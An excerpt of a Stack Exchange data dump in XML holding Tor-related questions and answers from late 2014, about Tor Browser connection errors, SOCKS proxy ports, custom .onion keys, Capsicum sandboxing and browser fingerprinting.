  <row Id="4493" PostTypeId="2" ParentId="4477" CreationDate="2014-10-31T21:56:33.290" Score="2" Body="&lt;p&gt;TBB is a Firefox ESR with some configuration changes that make it more 'anonymous' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is from the web:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;...Also, note that the Firefox ESR in our bundles is &lt;a href=&quot;https://gitweb.torproject.org/torbrowser.git/tree/HEAD:/build-scripts/config/&quot; rel=&quot;nofollow&quot;&gt;modified&lt;/a&gt; from the &lt;a href=&quot;https://www.mozilla.org/en-US/firefox/organizations/&quot; rel=&quot;nofollow&quot;&gt;default Firefox ESR&lt;/a&gt; &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also could be an add-on, usually Tor´s browser has enable &quot;noScript&quot;, disable it and try again.&lt;/p&gt;&#xA;" OwnerUserId="3825" LastActivityDate="2014-10-31T21:56:33.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4495" PostTypeId="1" CreationDate="2014-11-01T05:35:22.443" Score="2" ViewCount="5455" Body="&lt;p&gt;I was using tor browser on my previous Windows XP installation without any problem, but after I installed Tor Browser version 4.0 on my fresh Windows XP-SP3 I can not connect to Tor network. I choose following in &quot;Tor Network Setting&quot; window: &lt;code&gt;Configure&lt;/code&gt;-&gt; &lt;code&gt;Does this computer need proxy... = No&lt;/code&gt;-&gt; &lt;code&gt;Does your ISP block... = Yes&lt;/code&gt;-&gt; &lt;code&gt;Connect with provided bridge = obfs3&lt;/code&gt;-&gt; &lt;code&gt;Connect&lt;/code&gt;. I receive following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor failed to establish a Tor network connection.&#xA;Connecting to a relay directory failed (missing pluggable transport).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If enter some bridges received from &lt;code&gt;bridges.torproject.org&lt;/code&gt; and then press &lt;code&gt;Connect&lt;/code&gt; I receive following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor failed to establish a Tor network connection.&#xA;Loading network status failed (connection timeout).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some times it takes about 5 minutes or so for the error dialog to be appeared. I do not know what is Tor Browser doing during these minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no anti-virus installed on my Windows and disabled Windows FireWall.&lt;/p&gt;&#xA;" OwnerUserId="5003" LastActivityDate="2014-11-01T05:35:22.443" Title="Tor failed to establish a Tor network connection &quot;missing pluggable transport&quot;" Tags="|tor-browser-bundle|windows|bridge|obfsproxy|" AnswerCount="0" CommentCount="0" ClosedDate="2017-04-21T20:42:01.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="4496" PostTypeId="2" ParentId="4491" CreationDate="2014-11-01T08:41:50.457" Score="1" Body="&lt;p&gt;Well,if you enable cookies,you can cilck &lt;a href=&quot;http://www.google.com/ncr&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/ncr&lt;/a&gt;, next time google will not shift the language.If not,it seems that there is no way to stop google`s auto shifting.&lt;/p&gt;&#xA;" OwnerUserId="4969" LastActivityDate="2014-11-01T08:41:50.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4497" PostTypeId="1" AcceptedAnswerId="4545" CreationDate="2014-11-01T10:19:58.520" Score="2" ViewCount="112" Body="&lt;p&gt;One great new feature of the 0.2.5.x branch is support for Linux seccomp. There is a similar project that's cross-platform (FreeBSD, DragonFly BSD, Linux for now) called &lt;a href=&quot;http://www.cl.cam.ac.uk/research/security/capsicum/&quot; rel=&quot;nofollow&quot;&gt;Capsicum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a project supported by University of Cambridge Computer Laboratory, grants from Google, the FreeBSD Foundation and DARPA. Its goals are similar to seccomp, but the Capsicum project utilizes approaches quite different from how seccomp does things, potentially preventing a different set of attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the FreeBSD implementation is the furthest so far with Linux development  still not being in mainline yet there are a number of applications (ping, tcpdump, gzip, Chromium (wip)) already supporting Capsicum. According to &lt;a href=&quot;https://www.youtube.com/watch?v=raNx9L4VH2k&quot; rel=&quot;nofollow&quot;&gt;a presentation  of the project&lt;/a&gt; adding support for Capsicum tends to be easier, than for adding seccomp support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone working on this right now? Are there any plans on supporting it? And most importantly is there any reason to not support it?&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2014-11-01T10:26:04.827" LastActivityDate="2014-11-06T17:29:29.720" Title="Is the Tor project interested in implementing support for Capsicum?" Tags="|security|linux|development|freebsd|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4498" PostTypeId="1" CreationDate="2014-11-01T12:16:34.247" Score="2" ViewCount="1504" Body="&lt;p&gt;I am trying to access&#xA;&lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt;  but it fails after login on &lt;a href=&quot;https://facebookcorewwwi.onion/checkpoint/?next&quot; rel=&quot;nofollow&quot;&gt;https://facebookcorewwwi.onion/checkpoint/?next&lt;/a&gt;&#xA;with the error message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry, something went wrong&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Please try closing and re-opening your browser window.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Retrying the browser doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? How can I troubleshoot it further?&#xA;Guess the problem is coz I've checkpoint enabled for my account?&lt;/p&gt;&#xA;" OwnerUserId="5006" LastEditorUserId="88" LastEditDate="2015-08-20T11:59:45.953" LastActivityDate="2015-08-21T09:30:44.837" Title="facebookcorewwwi problems on Tor" Tags="|onion-services|help|error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4499" PostTypeId="1" CreationDate="2014-11-01T12:31:02.667" Score="1" ViewCount="201" Body="&lt;p&gt;Plus using TBB I managed to use Tor through newer versions for Firefox but the last update 33.0.2 doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited network configuration to be manual proxy pointing socks proxy to 127.0.0.1:9050 using socks5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I check Tor it doesn't work so I disabled Tor from command line and refreshed the page and it loads usually, it said proxy server refuses the connection ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it a bug in the new Firefox ?&lt;/p&gt;&#xA;" OwnerUserId="5007" LastEditorUserId="923" LastEditDate="2014-11-01T14:40:14.297" LastActivityDate="2014-11-08T21:50:23.740" Title="Tor with the newer Firefox &quot;33.0.2&quot;" Tags="|tor-browser-bundle|firefox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4500" PostTypeId="2" ParentId="4321" CreationDate="2014-11-01T12:38:55.643" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I think was happening was that Tor prevented my IP from being tracked by my ISP and managed to limit my download speed. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Generally Tor nodes are public, so it would be a matter of time before an ISP figure out you are using Tor and decide to speed limit that if they wish to do so.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I download Tor to avoid government restrictions about a website, and discovered that my internet speed had increased from 10% of what I pay to 100% and was constant, without loss, then I continue using Tor, I recommended it to my girlfriend, and download it at work, and worked perfectly. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This phenomenon depends on the relative speed of your service from an ISP and the speed of Tor nodes (entry node, middle node, and exit node). If the speed of all three Tor nodes used in your circuit individually are larger than the speed of the service you receive from your ISP, then you may obtain 100% of ISP speed. However, if the speed of any of nodes in Tor circuits that are build for you is lower than the service you obtained from your ISP, then you will observe a limitation is your speed. Thus, the weakest link in your network will limit your speed. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could be a way to make it work again?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There may or may not be a way to make it work again depending on your situation. To me it looks like that the ISP is the responsible party for your situation and probably mostly for conserving the bandwidth and reducing the cost, instead of government for any political reason. But in any case, you may use bridges and test if they help you. Bridges are unlisted entry nodes that are more difficult to block. The problem with that is if the bridge's speed is lower than your ISP speed you may encounter a speed limitation, not due to ISP but due to bridge's speed limitation. Bridges are in general much slower than regular entry nodes. On top of that bridges are not as consistent as regular entry nodes. Meaning they are less dependable than regular entry nodes as far as when they are on and when they are off. You may test in your own situation, and figure out if bridges are worthwhile in your case or not. One last thing, When you use bridges, do not expect same level of anonymity as when you use regular entry nodes as relatively small number of folks use bridges compare to regular entry nodes and it seems from published material that bridges are under more sever surveillance than regular entry nodes.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-02T08:46:47.310" LastActivityDate="2014-12-02T08:46:47.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4501" PostTypeId="1" AcceptedAnswerId="8926" CreationDate="2014-11-01T21:29:07.003" Score="3" ViewCount="1004" Body="&lt;p&gt;In the Hidden Service Protocol specification on torproject.org is written that all .onion addresses are generated from the public key of the hidden service (what we send to the DHT).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is true, why software like Shallot deal with the private key of the service, so when the brute-forcing is complete and the proper key is found for the searched prefix, we need to change our private key in order to have new custom .onion address?&lt;/p&gt;&#xA;" OwnerUserId="3442" LastActivityDate="2015-10-29T21:09:32.460" Title="From what depends .onion addresses - public or private key of the service?" Tags="|onion-services|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4502" PostTypeId="2" ParentId="3861" CreationDate="2014-11-01T22:39:13.643" Score="1" Body="&lt;p&gt;You can not boot using windows8 BIOS. Go into setup and disable fastboot and then go other option and change BIOS type to Legacy or something similar.&lt;/p&gt;&#xA;" OwnerUserId="5009" LastEditorUserId="923" LastEditDate="2014-11-02T12:29:26.747" LastActivityDate="2014-11-02T12:29:26.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4503" PostTypeId="2" ParentId="1480" CreationDate="2014-11-01T23:11:13.807" Score="1" Body="&lt;p&gt;If you install Tails onto bootable, removeble media (DVD=USB=SD) and you set it as your boot device (in BIOS setup) it will become your default OS by default. Since Tails prides itself on leaving no traces on the running box, you can even pull the hard drive. They have some pretty heavy duty, encrypted (FDE) external USB drives now that are made to handle alternative OS. if you configure a persistent volume on there then you can run Tails on every boot and read write files just like any other OS. I am not talking about cheap 1TB drives that you get for $50 bucks at WalMart - but I guess they would work too - at least for a while.&lt;/p&gt;&#xA;" OwnerUserId="5009" LastEditorDisplayName="user5" LastEditDate="2016-09-22T03:52:54.970" LastActivityDate="2016-09-22T03:52:54.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4504" PostTypeId="2" ParentId="1355" CreationDate="2014-11-01T23:17:30.920" Score="1" Body="&lt;p&gt;well many sites now use methods like browser fingerprinting which will not only identify the OS but generate a unique hash for the box itself. These are the processes that lead to to advanced ad targeting, but they can also be employed for malicious and adversarial purposes.&lt;/p&gt;&#xA;" OwnerUserId="5009" LastActivityDate="2014-11-01T23:17:30.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4505" PostTypeId="2" ParentId="4499" CreationDate="2014-11-02T04:12:41.077" Score="1" Body="&lt;p&gt;Well,try to edit network configuration to be manual proxy pointing socks proxy to 127.0.0.1:9150 using socks5.&lt;/p&gt;&#xA;" OwnerUserId="4969" LastActivityDate="2014-11-02T04:12:41.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4506" PostTypeId="1" AcceptedAnswerId="4520" CreationDate="2014-11-02T11:57:17.817" Score="1" ViewCount="284" Body="&lt;p&gt;If a SocksListenAddress or SocksPort directive is added to torrc-defaults such that Tor listens for Socks Connections on anything other than 127.0.0.1, TBB will complain on launch that: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Something Went Wrong!&lt;/strong&gt;&lt;br&gt;&#xA;  Tor is not working in this browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course, Tor is working. However, I imagine there is a reason for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it considered unsafe to open the SocksPort to the LAN, or is this a bug that should be filed?&lt;/p&gt;&#xA;" OwnerUserId="5010" LastActivityDate="2014-11-03T22:42:36.067" Title="TBB complains something is wrong if Tor is Listening on 0.0.0.0 (via SocksPort)" Tags="|tor-browser-bundle|configuration|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4507" PostTypeId="1" CreationDate="2014-11-02T15:36:39.727" Score="1" ViewCount="202" Body="&lt;p&gt;When using Tor in Debian Wheezy for multiple applications, what is the preferred setup?&#xA;I have installed Parcimonie (&lt;a href=&quot;https://packages.debian.org/wheezy/parcimonie&quot; rel=&quot;nofollow&quot;&gt;https://packages.debian.org/wheezy/parcimonie&lt;/a&gt;) so GPG gets key updates through Tor. This installed the Debian Tor package as a dependency. However, for web browsing I want to use the Tor Browser downloaded from the official website as recommended by the Tor Project. Since the Tor Browser ships its own Tor binary, will this mean I have two Tor binaries/processes running when I launch the Tor Browser, and if so, will this create any problems, e.g. how will Parcimonie and/or the Tor Browser know which process to pick? I suppose the versions of Tor may even be different. Should I be adding the Tor Project's own package repository or will this further mess things up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5012" LastEditorUserId="923" LastEditDate="2014-11-02T18:13:20.700" LastActivityDate="2014-12-02T22:24:47.343" Title="Pacimonie and Tor Browser Bundle in Debian" Tags="|tor-browser-bundle|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4508" PostTypeId="2" ParentId="4480" CreationDate="2014-11-02T20:47:35.207" Score="15" Body="&lt;p&gt;as the saying goes, anonymity likes company. so by installing ABP you're essentially sticking out of the TBB crowd more than a regular user, as your browser does not behave exactly like the others. see &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot;&gt;https://www.torproject.org/projects/torbrowser/design/&lt;/a&gt; 2.3 #5&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Users are free to install these addons if they wish, but doing so is not recommended, as it will alter the browser request fingerprint. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ABP may not collect information on you, but since you increase fingerprintability, other actors might&lt;/p&gt;&#xA;" OwnerUserId="4887" LastActivityDate="2014-11-02T20:47:35.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4509" PostTypeId="2" ParentId="4507" CreationDate="2014-11-02T21:53:21.120" Score="1" Body="&lt;p&gt;after looking at the sources, it looks like parcimonie uses torsocks - if that is also installed by your package manager, then it's safe to assume it'll just use the system tor daemon (most likely listening on port 9050) - there's probably a configuration file in /etc/tor/ or /etc/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there shouldn't be any complications whatsoever to have multiple tor processes. (the tor process in tor browser listens on port 9150)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;side note, while looking for sources, I found &lt;a href=&quot;https://github.com/EtiennePerot/parcimonie.sh&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EtiennePerot/parcimonie.sh&lt;/a&gt; which claims to have the interesting property of making sure there's different circuits used for requesting keys.&lt;/p&gt;&#xA;" OwnerUserId="4887" LastActivityDate="2014-11-02T21:53:21.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4510" PostTypeId="1" AcceptedAnswerId="4537" CreationDate="2014-11-03T00:46:35.397" Score="1" ViewCount="1337" Body="&lt;p&gt;I managed to get my &lt;code&gt;private_key&lt;/code&gt; and &lt;code&gt;hostname&lt;/code&gt; following the &lt;a href=&quot;https://security.stackexchange.com/questions/29772/how-do-you-get-a-specific-onion-address-for-your-hidden-service&quot;&gt;instructions here&lt;/a&gt;, which I copied over the one generated by starting the tor browser, in the &lt;code&gt;hidden_services&lt;/code&gt; folder. (EDIT: Not sure it's important, but I ran scallion in windows.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start &lt;code&gt;./start-tor-browser&lt;/code&gt; (TBB 4.0.1 in Ubuntu), I get a message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 02 18:16:01.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Every now and again I see this in the tor log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 02 17:32:25.000 [warn] Could not open &quot;/var/lib/tor/hidden_service//private_ key&quot;: Permission denied&#xA;Nov 02 17:32:25.000 [warn] Error reading private key from &quot;/var/lib/tor/hidden_s ervice//private_key&quot;&#xA;Nov 02 17:32:25.000 [err] Error loading private key.&#xA;Nov 02 17:32:25.000 [warn] Error loading rendezvous service keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am 100% certain that it's relevant, even though it's staggered by about a half an hour (ie, it's now actually 6:23, so really... almost a whole hour).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sh*ts and giggles, I &lt;code&gt;chmod&lt;/code&gt;'ed to &lt;code&gt;777&lt;/code&gt;. It had no effect (still 'unable to connect, firefox can't establish a connection...'). If I blast the &lt;code&gt;private_key&lt;/code&gt; and &lt;code&gt;hostname&lt;/code&gt;, and restart tor (a few times, plus or minus a few restarts of ubuntu)... I get a regular hostname and private key that DO work perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I looked for whitespace, but I seem to be saving / copy-pasting okay.&lt;/p&gt;&#xA;" OwnerUserId="5014" LastEditorUserId="88" LastEditDate="2014-11-03T10:15:55.073" LastActivityDate="2014-11-05T23:38:20.420" Title="I have my custom url (private_key and hostname), but Tor won't serve it" Tags="|onion-services|configuration|private-key|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4512" PostTypeId="1" AcceptedAnswerId="4513" CreationDate="2014-11-03T05:51:43.620" Score="4" ViewCount="1360" Body="&lt;p&gt;Before I proceed, I would like to mention that I understand that Tor browser integrates unique features such as not loading certain html canvases, scripts and a whole bunch of additions to make browsing more anonymous. I always use Tor when complete anonymity is required although I don’t use it as my daily driver, yet!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as I am &lt;strong&gt;okay revealing my IP&lt;/strong&gt; to anybody else, it is tempting to use other applications through Tor proxy as I have a belief doing so prevents my ISP from reading my data that travel encrypted through the Tor network which otherwise are sent/received unencrypted. I also appreciate the special feature that can route all DNS requests through Tor. I believe this feature improves  anonymity by a massive step and stops ISPs from logging where we go on the internet as both data and DNS are encrypted! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 0:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there be others methods ISPs can use to track where we go on the internet?&#xA;(I don’t mean installing spyware or forcibly installing any malware) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use Tor proxy 127.0.0.1:9150 through Firefox,Chromium will there be any traffic leaving my browser unencrypted that can be viewed by someone else the middle (MITM)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per my knowledge, SOCKS5 + SSL + Remote DNS through Tor Network should encrypt all my Firefox traffic unless evil add ons, Adobe Flash or Java content reject to adhere the SOCKS5 Proxy I forced my Firefox to listen to. Please be kind enough to share your knowledge or correct me in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the Tor browser traffic is more anonymous than the Firefox traffic that uses Tor. &#xA;But is traffic coming out from Firefox (using the Tor proxy) easier to be &lt;strong&gt;decrypted&lt;/strong&gt; than the traffic coming of the Tor browser? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 3 :&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would those packets coming out of Firefox too (using SOCKS5 Tor proxy)  will hop through the same Tor circuit with the same exact hops as Tor browsers' traffic?&lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="923" LastEditDate="2014-11-03T10:38:35.510" LastActivityDate="2014-11-03T15:10:09.177" Title="Using Tor Proxy through other aplications" Tags="|tor-browser-bundle|anonymity|security|protocol|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4513" PostTypeId="2" ParentId="4512" CreationDate="2014-11-03T15:10:09.177" Score="3" Body="&lt;p&gt;&lt;strong&gt;Answer 0:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is always a way to be monitored by your ISP, because your information (packets) goes through its physical infrastructure (usually fiber cable)&#xA;at least there is a way to know if you are connected to a tor relay (not the information going inside the packets that is encrypted), &#xA;some ISPs do that in order to prevent their clients to connect tor that's why exists tor's bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer 1:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In first place a man in the middle attack can not be prevented. If you mean as &quot;unencrypted&quot; some kind of leak as DNS requests that doesn´t go thorough tor, you need to combine Tor + proxy aplication + Browser or application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proxy aplications like &lt;a href=&quot;http://proxychains.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Proxychains&lt;/a&gt; (HTTP,HTTPS,SOCKET 4,5 proxy), &lt;a href=&quot;http://www.privoxy.org/&quot; rel=&quot;nofollow&quot;&gt;privoxy&lt;/a&gt; (HTTP proxy) or &lt;a href=&quot;http://www.pps.univ-paris-diderot.fr/~jch/software/polipo/tor.html&quot; rel=&quot;nofollow&quot;&gt;polipo&lt;/a&gt; (HTTP proxy) helps you to prevent such kind of problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would still have to deal with third-party issues as you mention in the second paragraph (Adobe flash...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have never had a leak with proxychains, privoxy + Tor )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, if your firefox's traffic goes through tor, has the same encryption as if it goes through TBB(tor browser).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem again is the leak (when something does not go through tor) that´s why TBB is safer than the conventionals browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TBB is a modified ESR version of Firefox by default comes with add-ons as &lt;a href=&quot;http://noscript.net/&quot; rel=&quot;nofollow&quot;&gt;&quot;Non-Script&quot;&lt;/a&gt; and &lt;a href=&quot;https://www.eff.org/https-everywhere&quot; rel=&quot;nofollow&quot;&gt;&quot;HTTPS-Everywhere&quot;&lt;/a&gt; plus TorLanucher and &lt;a href=&quot;https://www.torproject.org/docs/torbutton/&quot; rel=&quot;nofollow&quot;&gt;TorButton&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TBB has some configuration changes, if you type in the URl bar &quot;&lt;strong&gt;about:config&lt;/strong&gt;&quot; in your firefox and TBB you may see some of the differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use Tor with other applications you should check &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/SupportPrograms&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been monitoring my traffic and i've noticed some changes when TBB runs and when Tor is used with Proxychains + Iceweasel(firefox).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Not: an entry point changes every 2 weeks approx.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Results:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When TBB is running the entry point relay always has port: 9001. (the ip changes but it is always on the same port)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When Proxychains is used the entry point relay is different from the TBB's. It tries to establish connection on the same ip but different port.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Usually Proxychains(also privoxy) connects to relay whose port is 443.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I´ve checked and both are trusted entry points(relays) but the ports are different...( still don´t know why).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exit nodes are the same on both (TBB and other applications) they change every 10 min but are always the same 20-30 ip´s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you might be interested in this application for Tor, &lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow&quot;&gt;Arm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3825" LastActivityDate="2014-11-03T15:10:09.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4515" PostTypeId="1" CreationDate="2014-11-03T17:19:22.323" Score="1" ViewCount="197" Body="&lt;p&gt;I am new using Tor Browser Bundle.  Before, I never noticed Gmail tries to use the HTML5 canvas. (Tor Browser warns this when logging into Gmail.)  What do they want to do with the canvas?&lt;/p&gt;&#xA;" OwnerUserId="5017" LastEditorUserId="923" LastEditDate="2014-11-04T12:49:23.723" LastActivityDate="2014-12-04T13:01:34.887" Title="Gmail Gives HTML5 Canvas Warning!" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-04T13:24:01.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="4517" PostTypeId="1" AcceptedAnswerId="4518" CreationDate="2014-11-03T17:11:17.040" Score="0" ViewCount="43" Body="&lt;p&gt;Does an entry node see a requested site or tor (&lt;em&gt;.onion&lt;/em&gt;) site?&#xA;Or does it only know the IP address and nothing else? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerDisplayName="Ivan M" LastActivityDate="2014-11-03T21:19:36.887" Title="Entry node requested site anonymity" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4518" PostTypeId="2" ParentId="4517" CreationDate="2014-11-03T17:25:34.467" Score="3" Body="&lt;p&gt;The entry node knows nothing but your IP and the ID of the next node in your chosen circuit. The rest of the node IDs and the request payload are encrypted such that they can't be read by anyone but the intended nodes.&lt;/p&gt;&#xA;" OwnerDisplayName="Polynomial" LastActivityDate="2014-11-03T17:25:34.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4519" PostTypeId="1" CreationDate="2014-11-03T22:03:20.107" Score="1" ViewCount="211" Body="&lt;p&gt;been reading up a lot on securely creating an hidden service, what i want to do is set up two servers at different locations, and configure them, one configured for Tor and one as a Webserver providing the hidden service etc, how do i go about setting this up, i am thinking for security to only install apache server and not php to run a static webpsite minimizing attacks etc,but i am confused on how to link the two together and what exactly needs to be installed on each machine &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3075" LastActivityDate="2014-11-05T02:47:20.770" Title="Securely creating an hidden service" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4520" PostTypeId="2" ParentId="4506" CreationDate="2014-11-03T22:42:36.067" Score="0" Body="&lt;p&gt;At startup, Torbutton compares the SOCKS listener address reported by tor (the same as what you set in your torrc) to what is configured in the browser.  See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/blob/818f9b0a076dc31cc87544227aea164b07235276:/src/chrome/content/torbutton.js#l1890&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torbutton.git/blob/818f9b0a076dc31cc87544227aea164b07235276:/src/chrome/content/torbutton.js#l1890&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely, the check is failing because 0.0.0.0 != 127.0.0.1.  I think it should be safe to allow connections from any computer on the LAN, so arguably this is a bug in Torbutton.  One workaround would be to use about:config to set the hidden browser preference extensions.torbutton.local_tor_check to false to force a Torbutton to use a remote check &quot;Is Tor working?&quot; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it would be better to modify torrc instead of torrc-defaults (the latter may be overwritten when Tor Browser is updated).&lt;/p&gt;&#xA;" OwnerUserId="4947" LastActivityDate="2014-11-03T22:42:36.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
